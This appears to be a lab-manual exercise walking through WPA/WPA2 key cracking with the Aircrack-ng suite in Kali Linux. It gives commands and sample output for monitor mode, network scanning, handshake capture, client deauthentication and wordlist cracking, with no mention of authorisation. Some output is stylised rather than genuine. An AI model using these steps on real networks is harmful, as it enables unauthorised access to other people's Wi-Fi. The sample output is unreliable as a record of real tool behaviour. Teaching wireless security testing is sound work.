EXPERIMENT – 10

Perform Wireless Audit on Routers and Decrypt WPA Keys Using Aircrack-ng in Kali Linux

Aim:
To perform a wireless security audit on Wi-Fi routers and demonstrate WPA/WPA2 key cracking using the Aircrack-ng suite in Kali Linux with an external USB Wi-Fi adapter.

Software Requirements:
- **Host Operating System:** Windows / Linux / macOS
- **Virtualization Software:** Oracle VirtualBox
- **Guest Operating System:** Kali Linux
- **Wireless Audit Tool:** Aircrack-ng
- **Hardware Requirement:** External USB Wi-Fi Adapter (Monitor Mode supported)
- **System Requirements:**
  - RAM: Minimum 4 GB (8 GB recommended)
  - Disk Space: Minimum 30 GB
  - Processor: Intel/AMD with Virtualization support

Procedure:
Step 1: Start Kali Linux Virtual Machine
1. Open Oracle VirtualBox.
2. Start Kali Linux.
3. Connect the external USB Wi-Fi adapter and attach it to the VM.

Step 2: Verify Wireless Adapter
1. Open Terminal.
2. Check wireless interfaces:
   iwconfig
3. Identify the wireless interface (e.g., wlan0).

Step 3: Enable Monitor Mode
1. Enable monitor mode:
   sudo airmon-ng start wlan0
2. Monitor interface (e.g., wlan0mon) is created.

Step 4: Scan Nearby Wireless Networks
1. Scan for Wi-Fi networks:
   sudo airodump-ng wlan0mon
2. Note the **BSSID**, **Channel**, and **Encryption type** of the target network.

Step 5: Capture WPA Handshake
1. Lock onto the target network:
   sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon
2. Wait for a client to connect, or deauthenticate a client.

Step 6: Deauthenticate Client (Optional)

1. Force client reconnection:
   sudo aireplay-ng --deauth 5 -a <BSSID> wlan0mon
2. WPA handshake is captured.

Step 7: Crack WPA Key

1. Use Aircrack-ng with a wordlist:
   sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt
2. Observe password cracking process.

Step 8: Stop Monitor Mode

1. Stop monitor mode:
   sudo airmon-ng stop wlan0mon

Output:

```
┌──(kali㉿kali)-[~]
└─$ iwconfig

lo          no wireless extensions.

eth0        no wireless extensions.

wlan0       IEEE 802.11  ESSID:off/any
            Mode:Managed  Access Point: Not-Associated
            Tx-Power=20 dBm
```

```
┌──(kali㉿kali)-[~]
└─$ sudo airmon-ng start wlan0

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill'

PHY     Interface     Driver        Chipset

phy0    wlan0         rtl88xxau     Realtek Semiconductor Corp.

        (mac80211 monitor mode enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)
```

```
┌──(kali㉿kali)-[~]
└─$ sudo airodump-ng wlan0mon

CH  6 ][ Elapsed: 1 min ][ 2026-04-27 10:12

BSSID              PWR  Beacons   #Data, #/s  CH   MB   ENC   CIPHER AUTH ESSID
------------------------------------------------------------------------------
00:14:6C:7E:40:80  -40     120      300     5   6   54e  WPA2  CCMP   PSK  Home_WiFi
84:38:35:AA:12:BC  -65      80      150     2   1   54e  WPA2  CCMP   PSK  Office_Net

STATION            PWR   Rate    Lost    Frames  Probe
--------------------------------------------------
12:34:56:78:9A:BC  -45   0 - 1      0        50  Home_WiFi
```

```
┌──(kali㉿kali)-[~]
└─$ sudo airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w capture wlan0mon

CH  6 ][ Elapsed: 2 mins ][ 2026-04-27 10:15 ][ WPA handshake: 00:14:6C:7E:40:80

BSSID              PWR  Beacons   #Data, #/s  CH  MB   ENC   ESSID
------------------------------------------------------------------------
00:14:6C:7E:40:80  -39     250      800    10   6  54e  WPA2  Home_WiFi

----------------------------------------------------------
✓ WPA Handshake Captured Successfully
```

```
┌──(kali㉿kali)-[~]
└─$ sudo aireplay-ng --deauth 5 -a 00:14:6C:7E:40:80 wlan0mon

Sending 5 DeAuth frames...
DeAuth sent successfully!
```

```
┌──(kali㉿kali)-[~]
└─$ sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt

Opening capture-01.cap
Read 12000 packets.

   #  BSSID              ESSID            Encryption

   1  00:14:6C:7E:40:80  Home_WiFi        WPA (1 handshake)

Choosing first network...

Reading packets, please wait...

KEY FOUND! [ password123 ]

Master Key     : 12 34 56 78 90 AB CD EF ...
Transient Key  : 98 76 54 32 10 FE DC BA ...

✓ Password Successfully Cracked
```

Result:

Wireless auditing and WPA key decryption were successfully demonstrated using the Aircrack-ng tool in Kali Linux.
The experiment highlights the importance of strong passwords and secure wireless encryption methods.